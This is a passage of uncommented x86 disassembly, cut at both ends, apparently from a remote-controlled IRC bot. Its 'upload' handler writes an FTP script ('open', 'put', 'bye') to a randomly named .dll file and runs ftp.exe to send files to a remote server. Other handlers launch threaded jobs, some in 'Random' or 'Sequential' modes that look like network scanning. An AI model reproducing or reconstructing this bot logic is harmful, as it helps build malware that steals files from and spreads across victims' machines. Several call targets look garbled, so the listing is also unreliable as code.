2680ABEh push eax push offset unk_42ADE4 loc_40726A: ; CODE XREF: sub_401ACD+4E32j ; sub_401ACD+62BFj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_407279: ; CODE XREF: sub_401ACD+4E16j ; sub_401ACD+5785j ... cmp [ebp+var_8], ebx jnz loc_4083BD push ebx push [ebp+var_4] loc_407286: ; CODE XREF: sub_401ACD+22DFj lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4082A9 ; --------------------------------------------------------------------------- loc_407299: ; CODE XREF: sub_401ACD+4F99j ; sub_401ACD+4FB0j push 0Bh call sub_40B33F push edi mov [ebp+arg_1C], eax call sub_41B779 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407455 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42ADA4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 20h loc_4072E9: ; CODE XREF: sub_401ACD+526Ej ; sub_401ACD+563Aj ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401E94 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409855 push 4 push esi call sub_416909 pop ecx test eax, eax pop ecx jnz short loc_407325 push esi push offset unk_42AD7C jmp loc_408CDC ; --------------------------------------------------------------------------- loc_407325: ; CODE XREF: sub_401ACD+584Bj nop call near ptr 2690AA5h push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 9 cdq pop ecx idiv ecx push edx call sub_41B8E2 push 63h cdq pop ecx idiv ecx push edx call sub_41B8E2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+var_2E58] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41B886 lea eax, [ebp+var_2E58] push offset aAb ; "ab" push eax call sub_41B4C2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401E94 push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41BE06 push [ebp+arg_24] call sub_41B05B add esp, 20h lea eax, [ebp+var_2E58] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CB5C0 push [ebp+arg_10] test eax, eax push esi jz short loc_4073F4 push offset unk_42AD0C jmp short loc_4073F9 ; --------------------------------------------------------------------------- loc_4073F4: ; CODE XREF: sub_401ACD+591Ej push offset unk_42ACDC loc_4073F9: ; CODE XREF: sub_401ACD+5925j call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407422 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_407422: ; CODE XREF: sub_401ACD+5937j lea eax, [ebp+var_2C4] push eax call sub_4151AD loc_40742E: ; CODE XREF: sub_401ACD+5986j lea eax, [ebp+var_2E58] push 4 push eax call sub_416909 add esp, 0Ch test eax, eax jz loc_401E94 lea eax, [ebp+var_2E58] push eax call sub_41BDDC jmp short loc_40742E ; --------------------------------------------------------------------------- loc_407455: ; CODE XREF: sub_401ACD+57E6j push [ebp+arg_10] call sub_41B779 push edi mov [ebp+var_370], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41B779 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_40748E push 5 pop eax mov [ebp+var_36C], eax loc_40748E: ; CODE XREF: sub_401ACD+59B6j push 3Ch pop ecx cmp eax, ecx jbe short loc_40749B mov [ebp+var_36C], ecx loc_40749B: ; CODE XREF: sub_401ACD+59C6j push [ebp+arg_18] call sub_41B779 mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_4074BD mov [ebp+var_368], eax loc_4074BD: ; CODE XREF: sub_401ACD+59E8j or [ebp+var_354], 0FFFFFFFFh cmp dword_431B00, ebx mov [ebp+arg_20], ebx jz short loc_40750C mov edi, offset dword_431B00 loc_4074D4: ; CODE XREF: sub_401ACD+5A21j push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4074F2 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_4074D4 jmp short loc_40750C ; --------------------------------------------------------------------------- loc_4074F2: ; CODE XREF: sub_401ACD+5A17j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431B00[ecx] mov [ebp+var_370], ecx loc_40750C: ; CODE XREF: sub_401ACD+5A00j ; sub_401ACD+5A23j cmp [ebp+var_370], ebx jnz short loc_40751E push offset unk_42ACA8 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_40751E: ; CODE XREF: sub_401ACD+5A45j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_407559 cmp byte ptr [edi], 23h jz short loc_407559 push edi lea eax, [ebp+var_484] push 10h push eax call sub_41B980 push 78h push edi call sub_41BFB0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407633 ; --------------------------------------------------------------------------- loc_407559: ; CODE XREF: sub_401ACD+5A5Aj ; sub_401ACD+5A5Fj cmp [ebp+var_8FF], bl jnz short loc_40757B cmp [ebp+var_8FE], bl jnz short loc_40757B cmp [ebp+var_8EE], bl jnz short loc_40757B push offset unk_42AC74 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_40757B: ; CODE XREF: sub_401ACD+5A92j ; sub_401ACD+5A9Aj ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CB5F8 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CB6E0 push eax lea eax, [ebp+var_484] push eax call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40762D xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41BE40 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407621 loc_4075FF: ; CODE XREF: sub_401ACD+5B52j cmp eax, ebx jz short loc_407621 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4075FF loc_407621: ; CODE XREF: sub_401ACD+5B30j ; sub_401ACD+5B34j mov [ebp+var_344], 1 jmp short loc_407633 ; --------------------------------------------------------------------------- loc_40762D: ; CODE XREF: sub_401ACD+5B0Aj mov [ebp+var_344], ebx loc_407633: ; CODE XREF: sub_401ACD+5A87j ; sub_401ACD+5B5Ej mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41B980 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407684 loc_407671: ; CODE XREF: sub_401ACD+5BDAj push esi loc_407672: ; CODE XREF: sub_401ACD+5BC4j lea eax, [ebp+var_3F4] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4076AF ; --------------------------------------------------------------------------- loc_407684: ; CODE XREF: sub_401ACD+5BA2j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407693 cmp byte ptr [eax], 23h jnz short loc_407693 push eax jmp short loc_407672 ; --------------------------------------------------------------------------- loc_407693: ; CODE XREF: sub_401ACD+5BBCj ; sub_401ACD+5BC1j mov esi, offset aF ; "#f" push offset dword_43D808 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_407671 mov [ebp+var_3F4], bl loc_4076AF: ; CODE XREF: sub_401ACD+5BB5j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4076C1 mov eax, offset aSequential ; "Sequential" loc_4076C1: ; CODE XREF: sub_401ACD+5BEDj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42AC0C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F7 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C33D push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40774F loc_407739: ; CODE XREF: sub_401ACD+5C80j cmp [ebp+var_340], ebx jnz loc_40828C push 32h nop call near ptr 2680000h jmp short loc_407739 ; --------------------------------------------------------------------------- loc_40774F: ; CODE XREF: sub_401ACD+5C6Aj nop call near ptr 2680ABEh push eax push offset unk_42ABD4 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_407760: ; CODE XREF: sub_401ACD+4F6Bj ; sub_401ACD+4F82j push [ebp+arg_10] call sub_40AAFA push edi mov [ebp+var_4E0], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_4EC], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41B5F0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CB6E0 push eax lea eax, [ebp+var_2C4] push offset unk_42AB84 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F7 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset word_40C75A push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407855 loc_40783F: ; CODE XREF: sub_401ACD+5D86j cmp [ebp+var_4D0], ebx jnz loc_403DA1 push 32h nop call near ptr 2680000h jmp short loc_40783F ; --------------------------------------------------------------------------- loc_407855: ; CODE XREF: sub_401ACD+5D70j call near ptr 2680ABEh nop push eax push offset unk_42AB48 jmp loc_403D92 ; --------------------------------------------------------------------------- loc_407866: ; CODE XREF: sub_401ACD+4F2Ej ; sub_401ACD+4F45j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43E5A8[eax], bl jz loc_409855 cmp [ebp+var_C], ebx jz loc_409855 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42AB3C push eax call sub_41B886 add esp, 0Ch cmp esi, ebx jz loc_409855 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409855 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409855 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43E59C[eax] call sub_409A73 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43E390[eax], 73h jnz loc_409855 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43E5A8 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407A36 ; --------------------------------------------------------------------------- loc_40795E: ; CODE XREF: sub_401ACD+4F00j ; sub_401ACD+4F17j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43E5A8[eax], bl jz loc_409855 cmp [ebp+var_C], ebx jz loc_409855 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409855 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409855 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409855 push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43E59C[eax] call sub_409A73 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43E390[eax], 73h jnz loc_409855 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43E5A8 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" loc_407A36: ; CODE XREF: sub_401ACD+5E8Cj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 28h jmp loc_409855 ; --------------------------------------------------------------------------- loc_407A63: ; CODE XREF: sub_401ACD+4ED2j ; sub_401ACD+4EE9j push [ebp+arg_10] call dword_4CB694 push edi mov [ebp+var_680], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41B5F0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CB6E0 push eax lea eax, [ebp+var_2C4] push offset unk_42AAE0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F7 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset byte_40C669 push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407B45 loc_407B2F: ; CODE XREF: sub_401ACD+6076j cmp [ebp+var_670], ebx jnz loc_403DA1 push 32h call near ptr 2680000h nop jmp short loc_407B2F ; --------------------------------------------------------------------------- loc_407B45: ; CODE XREF: sub_401ACD+6060j nop call near ptr 2680ABEh push eax push offset unk_42ABD4 jmp loc_403D92 ; --------------------------------------------------------------------------- loc_407B56: ; CODE XREF: sub_401ACD+4EA4j ; sub_401ACD+4EBBj push [ebp+arg_10] call sub_41B779 mov [ebp+var_112C], eax push 7Fh lea eax, [ebp+var_1230] push edi push eax call sub_41B5F0 push [ebp+arg_0] call sub_41B779 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+var_88] mov [ebp+var_1238], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AC10 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42AAA4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B0F7 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset loc_4103AB push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407C42 loc_407C2C: ; CODE XREF: sub_401ACD+6173j cmp [ebp+var_1118], ebx jnz loc_403DA1 push 32h nop call near ptr 2680000h jmp short loc_407C2C ; --------------------------------------------------------------------------- loc_407C42: ; CODE XREF: sub_401ACD+615Dj nop call near ptr 2680ABEh push eax push offset unk_42AA60 jmp loc_403D92 ; --------------------------------------------------------------------------- loc_407C53: ; CODE XREF: sub_401ACD+4E76j ; sub_401ACD+4E8Dj push 0FFh lea eax, [ebp+var_2878] push [ebp+arg_10] push eax call sub_41B5F0 push 0FFh lea eax, [ebp+var_2778] push edi push eax call sub_41B5F0 push [ebp+arg_0] mov [ebp+var_2674], ebx call sub_41B779 mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407CAC push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407CB2 ; --------------------------------------------------------------------------- loc_407CAC: ; CODE XREF: sub_401ACD+61C9j mov [ebp+var_2668], ebx loc_407CB2: ; CODE XREF: sub_401ACD+61DDj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407CC9 push esi call sub_41B779 pop ecx mov [ebp+var_266C], eax jmp short loc_407CCF ; --------------------------------------------------------------------------- loc_407CC9: ; CODE XREF: sub_401ACD+61EBj mov [ebp+var_266C], ebx loc_407CCF: ; CODE XREF: sub_401ACD+61FAj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42AA34 push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B0F7 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset loc_4163FA push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407D80 loc_407D6A: ; CODE XREF: sub_401ACD+62B1j cmp [ebp+var_2658], ebx jnz loc_407279 push 32h nop call near ptr 2680000h jmp short loc_407D6A ; --------------------------------------------------------------------------- loc_407D80: ; CODE XREF: sub_401ACD+629Bj nop call near ptr 2680ABEh push eax push offset unk_42A9F4 jmp loc_40726A ; --------------------------------------------------------------------------- loc_407D91: ; CODE XREF: sub_401ACD+4E48j ; sub_401ACD+4E5Fj push 7Fh lea eax, [ebp+var_3490] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3410] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3390] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3310] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3494], esi push [ebp+arg_10] push offset unk_42A9B8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B0F7 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset word_414A92 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407E68 loc_407E52: ; CODE XREF: sub_401ACD+6399j cmp [ebp+var_3284], ebx jnz loc_407279 push 32h call near ptr 2680000h nop jmp short loc_407E52 ; --------------------------------------------------------------------------- loc_407E68: ; CODE XREF: sub_401ACD+6383j nop call near ptr 2680ABEh push eax push offset unk_42A980 jmp loc_40726A ; --------------------------------------------------------------------------- loc_407E79: ; CODE XREF: sub_401ACD+4D1Bj ; sub_401ACD+4D32j push 7Fh lea eax, [ebp+var_3068] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2FE8] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_2F68] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2EE8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_306C], esi push [ebp+arg_10] push offset unk_42A950 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B0F7 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset byte_4137CD push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407F50 loc_407F3A: ; CODE XREF: sub_401ACD+6481j cmp [ebp+var_2E5C], ebx jnz loc_407279 push 32h nop call near ptr 2680000h jmp short loc_407F3A ; --------------------------------------------------------------------------- loc_407F50: ; CODE XREF: sub_401ACD+646Bj nop call near ptr 2680ABEh push eax push offset unk_42A918 jmp loc_40726A ; --------------------------------------------------------------------------- loc_407F61: ; CODE XREF: sub_401ACD+4BF2j ; sub_401ACD+4C09j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3C64] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3BE4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3B64] push [ebp+var_88] push eax call sub_41B5F0 push 20h lea eax, [ebp+var_3AE4] push [ebp+arg_8] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3CEC], esi push [ebp+arg_10] push offset unk_42A8E8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B0F7 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset dword_412A54 push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_408049 loc_408033: ; CODE XREF: sub_401ACD+657Aj cmp [ebp+var_3A5C], ebx jnz loc_407279 push 32h nop call near ptr 2680000h jmp short loc_408033 ; --------------------------------------------------------------------------- loc_408049: ; CODE XREF: sub_401ACD+6564j nop call near ptr 2680ABEh push eax push offset unk_42A8B0 jmp loc_40726A ; --------------------------------------------------------------------------- loc_40805A: ; CODE XREF: sub_401ACD+4BC4j ; sub_401ACD+4BDBj push 7Fh lea eax, [ebp+var_1778] push [ebp+arg_10] push eax call sub_41B5F0 push edi call sub_41B779 push 3Fh mov [ebp+var_1628], eax push [ebp+arg_0] lea eax, [ebp+var_16F8] push eax call sub_41B5F0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4080A5 push 3Fh lea eax, [ebp+var_16B8] push esi push eax call sub_41B5F0 add esp, 0Ch loc_4080A5: ; CODE XREF: sub_401ACD+65C4j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+var_2C4] push offset dword_42A880 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B0F7 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4017ED push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_408131 loc_40811B: ; CODE XREF: sub_401ACD+6662j cmp [ebp+var_161C], ebx jnz loc_406CDF push 32h nop call near ptr 2680000h jmp short loc_40811B ; --------------------------------------------------------------------------- loc_408131: ; CODE XREF: sub_401ACD+664Cj call near ptr 2680ABEh nop push eax push offset dword_42A844 jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_408142: ; CODE XREF: sub_401ACD+4B84j ; sub_401ACD+4B9Bj push edi call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408235 push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EEC] push esi push eax call sub_41B980 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A818 push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B0F7 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset word_412E9E push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_408224 loc_408212: ; CODE XREF: sub_401ACD+6755j cmp [ebp+var_1D54], ebx jnz short loc_40828C push 32h call near ptr 2680000h nop jmp short loc_408212 ; --------------------------------------------------------------------------- loc_408224: ; CODE XREF: sub_401ACD+6743j nop call near ptr 2680ABEh push eax push offset unk_42A7E0 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_408235: ; CODE XREF: sub_401ACD+6684j push offset unk_42A7A8 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_40823F: ; CODE XREF: sub_401ACD+4B56j ; sub_401ACD+4B6Dj push edi push [ebp+arg_10] nop call near ptr 26A0A6Ch test eax, eax jz short loc_40826C push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset unk_42A784 push 200h push eax call sub_41B980 add esp, 14h jmp short loc_40828C ; --------------------------------------------------------------------------- loc_40826C: ; CODE XREF: sub_401ACD+677Ej push offset dword_42A778 call sub_41814D pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 loc_408289: ; CODE XREF: sub_401ACD+2F2Bj ; sub_401ACD+5570j add esp, 0Ch loc_40828C: ; CODE XREF: sub_401ACD+2137j ; sub_401ACD+2ECDj ... cmp [ebp+var_8], ebx jnz loc_4083BD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4082A9: ; CODE XREF: sub_401ACD+57C7j call sub_409A73 add esp, 14h jmp loc_4083BD ; --------------------------------------------------------------------------- loc_4082B6: ; CODE XREF: sub_401ACD+4B28j ; sub_401ACD+4B3Fj push [ebp+arg_10] lea eax, [ebp+var_3F04] push 104h push eax call sub_41B980 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4082F0 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4082F0 push eax lea eax, [ebp+var_3E00] push eax call sub_41B886 pop ecx pop ecx loc_4082F0: ; CODE XREF: sub_401ACD+6803j ; sub_401ACD+6812j push [ebp+var_88] lea eax, [ebp+var_3F84] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset unk_42A748 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B0F7 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset word_416CAE push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_4083A2 loc_408390: ; CODE XREF: sub_401ACD+68D3j cmp [ebp+var_3CF0], ebx jnz short loc_4083BD push 32h nop call near ptr 2680000h jmp short loc_408390 ; --------------------------------------------------------------------------- loc_4083A2: ; CODE XREF: sub_401ACD+68C1j nop call near ptr 2680ABEh push eax push offset unk_42A70C loc_4083AE: ; CODE XREF: sub_401ACD+925j ; sub_401ACD+A63j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_4083BD: ; CODE XREF: sub_401ACD+7E1j ; sub_401ACD+94Cj ... push 1 pop esi jmp loc_406D03 ; --------------------------------------------------------------------------- loc_4083C5: ; CODE XREF: sub_401ACD+4AFAj ; sub_401ACD+4B11j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41B590 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push [ebp+arg_10] mov [ebp+var_63C], 